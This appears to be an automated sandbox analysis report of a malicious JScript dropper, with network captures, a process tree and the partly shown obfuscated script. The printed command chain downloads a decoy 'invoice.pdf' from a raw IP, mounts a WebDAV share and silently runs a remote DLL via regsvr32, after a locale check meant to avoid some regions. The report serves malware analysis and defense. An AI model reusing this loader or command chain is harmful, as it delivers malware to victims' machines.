Jan 10, 2025 18:10:33.449095964 CET	376	IN	Data Raw: f9 a9 3d 9d 84 46 7b a8 d9 dc 6b 76 f6 e6 4a a8 99 22 4c bf 7b 78 55 29 57 f9 ec 58 ee a1 7e 90 b0 3c 45 28 ed 2c dc 7b 6c ae 50 9e 2b 5d f4 74 41 33 17 56 1e 27 f4 bb 55 cb 25 54 bf 2d c3 92 65 7e 6c 40 ff c0 80 19 a0 0e 37 d0 96 07 69 0b 9f 08 Data Ascii: =F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	6252	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:10:35.500727892 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:10:36.268961906 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:10:36 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:10:28
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1474915939307712026.js"
Imagebase:	0x7ff680490000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:10:29
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Imagebase:	0x7ff60bcd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:10:29
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:10:29
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	12:10:34
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	12:10:34
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff60bcd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	12:10:34
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff705840000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	12:10:35
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	12:10:36
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	12:10:37
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=1632 --field-trial-handle=1528,i,9385316614471311670,4180965964798409731,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function eqfbjpsc() {	eqfbjpsc() ➔ undefined
1	ominey = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var dpblayfvc = this[ezoejr + ijgmam + bgicfs + astrs + gvahphgj + xbbjcgd + kwgatvjmu + hocdg] ( this[gbjgbebgv + ncexajdte + laobktg + bgicfs + qbidg + ezoejr + hocdg][sypyuwao + bgicfs + gvahphgj + ijgmam + hocdg + gvahphgj + lzefmnaek + goptmo + kbfahkv + gvahphgj + laobktg + hocdg] ( gbjgbebgv + ncexajdte + laobktg + bgicfs + qbidg + ezoejr + hocdg + aapov + ncexajdte + etjzvsx + gvahphgj + icijr + icijr ) [hhleivzn + gvahphgj + grutgdk + hhleivzn + gvahphgj + ijgmam + nlzun] ( qtlczgpdl + aoszo + emxxnzp + gyfjqj + kklldq + sypyuwao + yenfgxnu + hhleivzn + hhleivzn + emxxnzp + sxlxyuto + mecdhtnle + kklldq + yenfgxnu + ncexajdte + emxxnzp + hhleivzn + gfwhm + sypyuwao + vqhyj + kwgatvjmu + hocdg + bgicfs + vqhyj + icijr + ftdqbccjo + crlocd + ijgmam + kwgatvjmu + gvahphgj + icijr + gfwhm + xbbjcgd + kwgatvjmu + hocdg + gvahphgj + bgicfs + kwgatvjmu + ijgmam + hocdg + qbidg + vqhyj + kwgatvjmu + ijgmam + icijr + gfwhm + ndvnrlp + vqhyj + laobktg + ijgmam + icijr + gvahphgj ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( xymlhrqkk = 0 ; xymlhrqkk < ominey[icijr + gvahphgj + kwgatvjmu + grutgdk + hocdg + etjzvsx] ; ++ xymlhrqkk )
4	{
5	if ( dpblayfvc == ominey[xymlhrqkk] )
6	{
7	dpblayfvc = true;
8	break ;
9	}
10	}
11	if ( dpblayfvc !== true )
12	this[gbjgbebgv + ncexajdte + laobktg + bgicfs + qbidg + ezoejr + hocdg][ubtbqom + ohvueugp + qbidg + hocdg] ( );
13	this[gbjgbebgv + ncexajdte + laobktg + bgicfs + qbidg + ezoejr + hocdg][sypyuwao + bgicfs + gvahphgj + ijgmam + hocdg + gvahphgj + lzefmnaek + goptmo + kbfahkv + gvahphgj + laobktg + hocdg] ( gbjgbebgv + ncexajdte + laobktg + bgicfs + qbidg + ezoejr + hocdg + aapov + ncexajdte + etjzvsx + gvahphgj + icijr + icijr ) [bgicfs + ohvueugp + kwgatvjmu] ( laobktg + aumibbhay + nlzun + ftdqbccjo + imkcv + laobktg + ftdqbccjo + ezoejr + vqhyj + fxqcnj + gvahphgj + bgicfs + astrs + etjzvsx + gvahphgj + icijr + icijr + aapov + gvahphgj + dsofjixq + gvahphgj + ftdqbccjo + hzpkyjw + sypyuwao + vqhyj + aumibbhay + aumibbhay + ijgmam + kwgatvjmu + nlzun + ftdqbccjo + kguwqifou + xbbjcgd + kwgatvjmu + dcmnwhz + vqhyj + tlobknehm + gvahphgj + hzpkyjw + gbjgbebgv + gvahphgj + goptmo + hhleivzn + gvahphgj + qmivpehrz + ohvueugp + gvahphgj + astrs + hocdg + ftdqbccjo + hzpkyjw + lzefmnaek + ohvueugp + hocdg + vpifiwuqu + qbidg + icijr + gvahphgj + ftdqbccjo + wzjczwfq + hocdg + gvahphgj + aumibbhay + ezoejr + wzjczwfq + gfwhm + qbidg + kwgatvjmu + dcmnwhz + vqhyj + qbidg + laobktg + gvahphgj + aapov + ezoejr + nlzun + gudsytth + ftdqbccjo + etjzvsx + hocdg + hocdg + ezoejr + yhild + imkcv + imkcv + urtuy + klsmgwu + gvmnz + aapov + urtuy + xsmammwlo + gvmnz + aapov + urtuy + aapov + varynjqnu + huvxbiac + vzpnzvj + imkcv + qbidg + kwgatvjmu + dcmnwhz + vqhyj + qbidg + laobktg + gvahphgj + aapov + ezoejr + etjzvsx + ezoejr + kguwqifou + fnvaosrcj + fnvaosrcj + astrs + hocdg + ijgmam + bgicfs + hocdg + ftdqbccjo + wzjczwfq + hocdg + gvahphgj + aumibbhay + ezoejr + wzjczwfq + gfwhm + qbidg + kwgatvjmu + dcmnwhz + vqhyj + qbidg + laobktg + gvahphgj + aapov + ezoejr + nlzun + gudsytth + fnvaosrcj + fnvaosrcj + laobktg + aumibbhay + nlzun + ftdqbccjo + imkcv + laobktg + ftdqbccjo + kwgatvjmu + gvahphgj + hocdg + ftdqbccjo + ohvueugp + astrs + gvahphgj + ftdqbccjo + gfwhm + gfwhm + urtuy + klsmgwu + gvmnz + aapov + urtuy + xsmammwlo + gvmnz + aapov + urtuy + aapov + varynjqnu + huvxbiac + vzpnzvj + fngcwpmt + zbxbjhccu + zbxbjhccu + zbxbjhccu + zbxbjhccu + gfwhm + nlzun + ijgmam + dcmnwhz + fxqcnj + fxqcnj + fxqcnj + bgicfs + vqhyj + vqhyj + hocdg + gfwhm + fnvaosrcj + fnvaosrcj + laobktg + aumibbhay + nlzun + ftdqbccjo + imkcv + laobktg + ftdqbccjo + bgicfs + gvahphgj + grutgdk + astrs + dcmnwhz + bgicfs + gvmnz + varynjqnu + ftdqbccjo + imkcv + astrs + ftdqbccjo + gfwhm + gfwhm + urtuy + klsmgwu + gvmnz + aapov + urtuy + xsmammwlo + gvmnz + aapov + urtuy + aapov + varynjqnu + huvxbiac + vzpnzvj + fngcwpmt + zbxbjhccu + zbxbjhccu + zbxbjhccu + zbxbjhccu + gfwhm + nlzun + ijgmam + dcmnwhz + fxqcnj + fxqcnj + fxqcnj + bgicfs + vqhyj + vqhyj + hocdg + gfwhm + urtuy + varynjqnu + xcxikefn + gvmnz + gvmnz + vzpnzvj + gvmnz + xsmammwlo + xcxikefn + varynjqnu + xsmammwlo + zbxbjhccu + hxvucf + zbxbjhccu + aapov + nlzun + icijr + icijr, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll",0,false) ➔ 0
14	}
15	ezoejr = "d";
16	ezoejr = "Y";
17	ezoejr = "A";
18	ezoejr = "k";
19	ezoejr = "n";
20	ezoejr = "u";
21	ezoejr = "x";
22	ezoejr = "N";
23	ezoejr = "S";
24	ezoejr = "I";
25	ezoejr = "L";
26	ezoejr = "s";
27	ezoejr = "S";
28	ezoejr = "J";
29	ezoejr = "E";
30	ezoejr = "I";
31	ezoejr = "w";
32	ezoejr = "r";
33	ezoejr = "j";
34	ezoejr = "y";
35	ezoejr = "z";
36	ezoejr = "u";
37	ezoejr = "a";
38	ezoejr = "E";
39	ezoejr = "P";
40	ezoejr = "c";
41	ezoejr = "T";
42	ezoejr = "Q";
43	ezoejr = "z";
44	ezoejr = "T";
45	ezoejr = "p";
46	zbxbjhccu = "M";
47	zbxbjhccu = "g";
48	zbxbjhccu = "Z";
49	zbxbjhccu = "r";
50	zbxbjhccu = "I";
51	zbxbjhccu = "P";
52	zbxbjhccu = "G";
53	zbxbjhccu = "B";
54	zbxbjhccu = "R";
55	zbxbjhccu = "w";
56	zbxbjhccu = "8";
57	qbidg = "t";
58	qbidg = "k";
59	qbidg = "X";
60	qbidg = "S";
61	qbidg = "s";
62	qbidg = "w";
63	qbidg = "b";
64	qbidg = "R";
65	qbidg = "V";
66	qbidg = "f";
67	qbidg = "v";
68	qbidg = "K";
69	qbidg = "b";
70	qbidg = "j";
71	qbidg = "M";
72	qbidg = "H";
73	qbidg = "P";
74	qbidg = "t";
75	qbidg = "r";
76	qbidg = "U";
77	qbidg = "R";
78	qbidg = "L";
79	qbidg = "O";
80	qbidg = "Q";
81	qbidg = "T";
82	qbidg = "C";
83	qbidg = "p";
84	qbidg = "l";
85	qbidg = "C";
86	qbidg = "h";
87	qbidg = "p";
88	qbidg = "W";
89	qbidg = "A";
90	qbidg = "U";
91	qbidg = "E";
92	qbidg = "w";
93	qbidg = "i";
94	aoszo = "T";
95	aoszo = "P";
96	aoszo = "V";
97	aoszo = "G";
98	aoszo = "y";
99	aoszo = "g";
100	aoszo = "x";
101	aoszo = "D";
102	aoszo = "S";
103	aoszo = "z";
104	aoszo = "h";
105	aoszo = "F";
106	aoszo = "B";
107	aoszo = "e";
108	aoszo = "H";
109	aoszo = "W";
110	aoszo = "g";
111	aoszo = "H";
112	aoszo = "P";
113	aoszo = "r";
114	aoszo = "C";
115	aoszo = "t";
116	aoszo = "E";
117	aoszo = "t";
118	aoszo = "J";
119	aoszo = "h";
120	aoszo = "k";
121	aoszo = "J";
122	aoszo = "D";
123	aoszo = "z";
124	aoszo = "a";
125	aoszo = "x";
126	aoszo = "b";
127	aoszo = "z";
128	aoszo = "n";
129	aoszo = "O";
130	aoszo = "b";
131	aoszo = "I";
132	aoszo = "M";
133	aoszo = "m";
134	aoszo = "T";
135	aoszo = "P";
136	aoszo = "T";
137	aoszo = "K";
138	gfwhm = "j";
139	gfwhm = "u";
140	gfwhm = "k";
141	gfwhm = "A";
142	gfwhm = "b";
143	gfwhm = "n";
144	gfwhm = "h";
145	gfwhm = "p";
146	gfwhm = "x";
147	gfwhm = "z";
148	gfwhm = "X";
149	gfwhm = "N";
150	gfwhm = "A";
151	gfwhm = "B";
152	gfwhm = "k";
153	gfwhm = "r";
154	gfwhm = "\\";
155	gvmnz = "w";
156	gvmnz = "U";
157	gvmnz = "K";
158	gvmnz = "q";
159	gvmnz = "T";
160	gvmnz = "E";
161	gvmnz = "X";
162	gvmnz = "b";
163	gvmnz = "I";
164	gvmnz = "f";
165	gvmnz = "y";
166	gvmnz = "d";
167	gvmnz = "w";
168	gvmnz = "L";
169	gvmnz = "J";
170	gvmnz = "r";
171	gvmnz = "O";
172	gvmnz = "K";
173	gvmnz = "E";
174	gvmnz = "i";
175	gvmnz = "J";
176	gvmnz = "E";
177	gvmnz = "z";
178	gvmnz = "w";
179	gvmnz = "B";
180	gvmnz = "O";
181	gvmnz = "Z";
182	gvmnz = "U";
183	gvmnz = "3";
184	icijr = "s";
185	icijr = "y";
186	icijr = "L";
187	icijr = "V";
188	icijr = "B";
189	icijr = "U";
190	icijr = "Q";
191	icijr = "G";
192	icijr = "y";
193	icijr = "u";
194	icijr = "R";
195	icijr = "D";
196	icijr = "B";
197	icijr = "Q";
198	icijr = "O";
199	icijr = "P";
200	icijr = "C";
201	icijr = "a";
202	icijr = "I";
203	icijr = "x";
204	icijr = "r";
205	icijr = "s";
206	icijr = "V";
207	icijr = "p";
208	icijr = "W";
209	icijr = "V";
210	icijr = "B";
211	icijr = "l";
212	laobktg = "N";
213	laobktg = "f";
214	laobktg = "d";
215	laobktg = "H";
216	laobktg = "W";
217	laobktg = "U";
218	laobktg = "i";
219	laobktg = "W";
220	laobktg = "V";
221	laobktg = "W";
222	laobktg = "j";
223	laobktg = "v";
224	laobktg = "v";
225	laobktg = "B";
226	laobktg = "z";
227	laobktg = "Y";
228	laobktg = "K";
229	laobktg = "v";
230	laobktg = "B";
231	laobktg = "C";
232	laobktg = "a";
233	laobktg = "L";
234	laobktg = "F";
235	laobktg = "V";
236	laobktg = "C";
237	laobktg = "U";
238	laobktg = "p";
239	laobktg = "o";
240	laobktg = "X";
241	laobktg = "o";
242	laobktg = "A";
243	laobktg = "c";
244	ncexajdte = "o";
245	ncexajdte = "z";
246	ncexajdte = "p";
247	ncexajdte = "K";
248	ncexajdte = "Z";
249	ncexajdte = "Z";
250	ncexajdte = "F";
251	ncexajdte = "i";
252	ncexajdte = "s";
253	ncexajdte = "k";
254	ncexajdte = "d";
255	ncexajdte = "A";
256	ncexajdte = "J";
257	ncexajdte = "z";
258	ncexajdte = "O";
259	ncexajdte = "A";
260	ncexajdte = "l";
261	ncexajdte = "p";
262	ncexajdte = "Q";
263	ncexajdte = "C";
264	ncexajdte = "N";
265	ncexajdte = "c";
266	ncexajdte = "n";
267	ncexajdte = "W";
268	ncexajdte = "F";
269	ncexajdte = "U";
270	ncexajdte = "J";
271	ncexajdte = "r";
272	ncexajdte = "S";
273	dcmnwhz = "t";
274	dcmnwhz = "Z";
275	dcmnwhz = "S";
276	dcmnwhz = "W";
277	dcmnwhz = "U";
278	dcmnwhz = "x";
279	dcmnwhz = "l";
280	dcmnwhz = "v";
281	qtlczgpdl = "p";
282	qtlczgpdl = "c";
283	qtlczgpdl = "a";
284	qtlczgpdl = "H";
285	qtlczgpdl = "s";
286	qtlczgpdl = "z";
287	qtlczgpdl = "n";
288	qtlczgpdl = "e";
289	qtlczgpdl = "c";
290	qtlczgpdl = "c";
291	qtlczgpdl = "c";
292	qtlczgpdl = "H";
293	qtlczgpdl = "F";
294	qtlczgpdl = "t";
295	qtlczgpdl = "e";
296	qtlczgpdl = "N";
297	qtlczgpdl = "z";
298	qtlczgpdl = "b";
299	qtlczgpdl = "L";
300	qtlczgpdl = "b";
301	qtlczgpdl = "Q";
302	qtlczgpdl = "K";
303	qtlczgpdl = "G";
304	qtlczgpdl = "y";
305	qtlczgpdl = "o";
306	qtlczgpdl = "I";
307	qtlczgpdl = "z";
308	qtlczgpdl = "I";
309	qtlczgpdl = "w";
310	qtlczgpdl = "Q";
311	qtlczgpdl = "t";
312	qtlczgpdl = "M";
313	qtlczgpdl = "m";
314	qtlczgpdl = "W";
315	qtlczgpdl = "d";
316	qtlczgpdl = "e";
317	qtlczgpdl = "H";
318	crlocd = "d";
319	crlocd = "x";
320	crlocd = "p";
321	crlocd = "G";
322	crlocd = "J";
323	crlocd = "y";
324	crlocd = "i";
325	crlocd = "j";
326	crlocd = "P";
327	crlocd = "v";
328	crlocd = "r";
329	crlocd = "b";
330	crlocd = "g";
331	crlocd = "f";
332	crlocd = "Q";
333	crlocd = "C";
334	crlocd = "I";
335	crlocd = "d";
336	crlocd = "n";
337	crlocd = "E";
338	crlocd = "M";
339	crlocd = "c";
340	crlocd = "i";
341	crlocd = "L";
342	crlocd = "c";
343	crlocd = "i";
344	crlocd = "B";
345	crlocd = "F";
346	crlocd = "W";
347	crlocd = "h";
348	crlocd = "m";
349	crlocd = "X";
350	crlocd = "V";
351	crlocd = "G";
352	crlocd = "e";
353	crlocd = "f";
354	crlocd = "M";
355	crlocd = "q";
356	crlocd = "P";
357	grutgdk = "q";
358	grutgdk = "j";
359	grutgdk = "g";
360	grutgdk = "K";
361	grutgdk = "T";
362	grutgdk = "T";
363	grutgdk = "v";
364	grutgdk = "J";
365	grutgdk = "g";
366	varynjqnu = "M";
367	varynjqnu = "B";
368	varynjqnu = "w";
369	varynjqnu = "x";
370	varynjqnu = "q";
371	varynjqnu = "U";
372	varynjqnu = "k";
373	varynjqnu = "O";
374	varynjqnu = "s";
375	varynjqnu = "k";
376	varynjqnu = "V";
377	varynjqnu = "A";
378	varynjqnu = "h";
379	varynjqnu = "g";
380	varynjqnu = "T";
381	varynjqnu = "F";
382	varynjqnu = "I";
383	varynjqnu = "w";
384	varynjqnu = "K";
385	varynjqnu = "2";
386	imkcv = "L";
387	imkcv = "s";
388	imkcv = "p";
389	imkcv = "q";
390	imkcv = "M";
391	imkcv = "R";
392	imkcv = "r";
393	imkcv = "m";
394	imkcv = "H";
395	imkcv = "d";
396	imkcv = "j";
397	imkcv = "a";
398	imkcv = "L";
399	imkcv = "c";
400	imkcv = "N";
401	imkcv = "j";
402	imkcv = "X";
403	imkcv = "O";
404	imkcv = "u";
405	imkcv = "d";
406	imkcv = "D";
407	imkcv = "b";
408	imkcv = "p";
409	imkcv = "o";
410	imkcv = "s";
411	imkcv = "k";
412	imkcv = "b";
413	imkcv = "x";
414	imkcv = "j";
415	imkcv = "R";
416	imkcv = "Z";
417	imkcv = "S";
418	imkcv = "z";
419	imkcv = "u";
420	imkcv = "p";
421	imkcv = "e";
422	imkcv = "l";
423	imkcv = "E";
424	imkcv = "n";
425	imkcv = "/";
426	vpifiwuqu = "N";
427	vpifiwuqu = "U";
428	vpifiwuqu = "C";
429	vpifiwuqu = "T";
430	vpifiwuqu = "t";
431	vpifiwuqu = "m";
432	vpifiwuqu = "h";
433	vpifiwuqu = "W";
434	vpifiwuqu = "T";
435	vpifiwuqu = "r";
436	vpifiwuqu = "N";
437	vpifiwuqu = "P";
438	vpifiwuqu = "b";
439	vpifiwuqu = "r";
440	vpifiwuqu = "Z";
441	vpifiwuqu = "D";
442	vpifiwuqu = "P";
443	vpifiwuqu = "n";
444	vpifiwuqu = "U";
445	vpifiwuqu = "o";
446	vpifiwuqu = "o";
447	vpifiwuqu = "i";
448	vpifiwuqu = "N";
449	vpifiwuqu = "Y";
450	vpifiwuqu = "B";
451	vpifiwuqu = "F";
452	kbfahkv = "j";
453	kbfahkv = "u";
454	kbfahkv = "O";
455	kbfahkv = "U";
456	kbfahkv = "t";
457	kbfahkv = "n";
458	kbfahkv = "b";
459	kbfahkv = "u";
460	kbfahkv = "T";
461	kbfahkv = "X";
462	kbfahkv = "A";
463	kbfahkv = "k";
464	kbfahkv = "k";
465	kbfahkv = "q";
466	kbfahkv = "a";
467	kbfahkv = "m";
468	kbfahkv = "X";
469	kbfahkv = "j";
470	kbfahkv = "o";
471	kbfahkv = "q";
472	kbfahkv = "h";
473	kbfahkv = "F";
474	kbfahkv = "r";
475	kbfahkv = "z";
476	kbfahkv = "V";
477	kbfahkv = "z";
478	kbfahkv = "e";
479	kbfahkv = "Q";
480	kbfahkv = "j";
481	ubtbqom = "w";
482	ubtbqom = "I";
483	ubtbqom = "Y";
484	ubtbqom = "o";
485	ubtbqom = "P";
486	ubtbqom = "B";
487	ubtbqom = "n";
488	ubtbqom = "R";
489	ubtbqom = "o";
490	ubtbqom = "H";
491	ubtbqom = "O";
492	ubtbqom = "M";
493	ubtbqom = "C";
494	ubtbqom = "F";
495	ubtbqom = "b";
496	ubtbqom = "P";
497	ubtbqom = "p";
498	ubtbqom = "c";
499	ubtbqom = "y";
500	ubtbqom = "p";
501	ubtbqom = "L";
502	ubtbqom = "q";
503	ubtbqom = "i";
504	ubtbqom = "C";
505	ubtbqom = "e";
506	ubtbqom = "I";
507	ubtbqom = "Q";
508	hhleivzn = "C";
509	hhleivzn = "q";
510	hhleivzn = "t";
511	hhleivzn = "D";
512	hhleivzn = "c";
513	hhleivzn = "c";
514	hhleivzn = "o";
515	hhleivzn = "o";
516	hhleivzn = "C";
517	hhleivzn = "E";
518	hhleivzn = "q";
519	hhleivzn = "F";
520	hhleivzn = "J";
521	hhleivzn = "o";
522	hhleivzn = "m";
523	hhleivzn = "g";
524	hhleivzn = "s";
525	hhleivzn = "r";
526	hhleivzn = "w";
527	hhleivzn = "A";
528	hhleivzn = "k";
529	hhleivzn = "Q";
530	hhleivzn = "z";
531	hhleivzn = "U";
532	hhleivzn = "G";
533	hhleivzn = "L";
534	hhleivzn = "c";
535	hhleivzn = "N";
536	hhleivzn = "R";
537	fngcwpmt = "L";
538	fngcwpmt = "L";
539	fngcwpmt = "F";
540	fngcwpmt = "v";
541	fngcwpmt = "b";
542	fngcwpmt = "Y";
543	fngcwpmt = "Q";
544	fngcwpmt = "e";
545	fngcwpmt = "N";
546	fngcwpmt = "t";
547	fngcwpmt = "N";
548	fngcwpmt = "Y";
549	fngcwpmt = "s";
550	fngcwpmt = "O";
551	fngcwpmt = "@";
552	gvahphgj = "w";
553	gvahphgj = "v";
554	gvahphgj = "z";
555	gvahphgj = "S";
556	gvahphgj = "o";
557	gvahphgj = "E";
558	gvahphgj = "v";
559	gvahphgj = "T";
560	gvahphgj = "t";
561	gvahphgj = "q";
562	gvahphgj = "z";
563	gvahphgj = "P";
564	gvahphgj = "W";
565	gvahphgj = "e";
566	vqhyj = "z";
567	vqhyj = "O";
568	vqhyj = "E";
569	vqhyj = "q";
570	vqhyj = "v";
571	vqhyj = "G";
572	vqhyj = "x";
573	vqhyj = "n";
574	vqhyj = "W";
575	vqhyj = "B";
576	vqhyj = "L";
577	vqhyj = "D";
578	vqhyj = "x";
579	vqhyj = "V";
580	vqhyj = "n";
581	vqhyj = "Y";
582	vqhyj = "K";
583	vqhyj = "V";
584	vqhyj = "n";
585	vqhyj = "c";
586	vqhyj = "r";
587	vqhyj = "L";
588	vqhyj = "Z";
589	vqhyj = "o";
590	vqhyj = "B";
591	vqhyj = "g";
592	vqhyj = "d";
593	vqhyj = "a";
594	vqhyj = "o";
595	hzpkyjw = "d";
596	hzpkyjw = "H";
597	hzpkyjw = "z";
598	hzpkyjw = "t";
599	hzpkyjw = "F";
600	hzpkyjw = "v";
601	hzpkyjw = "x";
602	hzpkyjw = "G";
603	hzpkyjw = "Y";
604	hzpkyjw = "W";
605	hzpkyjw = "t";
606	hzpkyjw = "j";
607	hzpkyjw = "M";
608	hzpkyjw = "b";
609	hzpkyjw = "Z";
610	hzpkyjw = "D";
611	hzpkyjw = "q";
612	hzpkyjw = "w";
613	hzpkyjw = "z";
614	hzpkyjw = "g";
615	hzpkyjw = "N";
616	hzpkyjw = "f";
617	hzpkyjw = "Z";
618	hzpkyjw = "G";
619	hzpkyjw = "O";
620	hzpkyjw = "l";
621	hzpkyjw = "Y";
622	hzpkyjw = "Y";
623	hzpkyjw = "C";
624	hzpkyjw = "v";
625	hzpkyjw = "-";
626	kwgatvjmu = "X";
627	kwgatvjmu = "K";
628	kwgatvjmu = "m";
629	kwgatvjmu = "N";
630	kwgatvjmu = "U";
631	kwgatvjmu = "V";
632	kwgatvjmu = "H";
633	kwgatvjmu = "Q";
634	kwgatvjmu = "A";
635	kwgatvjmu = "f";
636	kwgatvjmu = "U";
637	kwgatvjmu = "P";
638	kwgatvjmu = "I";
639	kwgatvjmu = "i";
640	kwgatvjmu = "f";
641	kwgatvjmu = "f";
642	kwgatvjmu = "o";
643	kwgatvjmu = "f";
644	kwgatvjmu = "j";
645	kwgatvjmu = "n";
646	emxxnzp = "t";
647	emxxnzp = "g";
648	emxxnzp = "d";
649	emxxnzp = "M";
650	emxxnzp = "k";
651	emxxnzp = "k";
652	emxxnzp = "e";
653	emxxnzp = "d";
654	emxxnzp = "v";
655	emxxnzp = "j";
656	emxxnzp = "T";
657	emxxnzp = "E";
658	emxxnzp = "E";
659	xbbjcgd = "u";
660	xbbjcgd = "X";
661	xbbjcgd = "W";
662	xbbjcgd = "i";
663	xbbjcgd = "f";
664	xbbjcgd = "j";
665	xbbjcgd = "c";
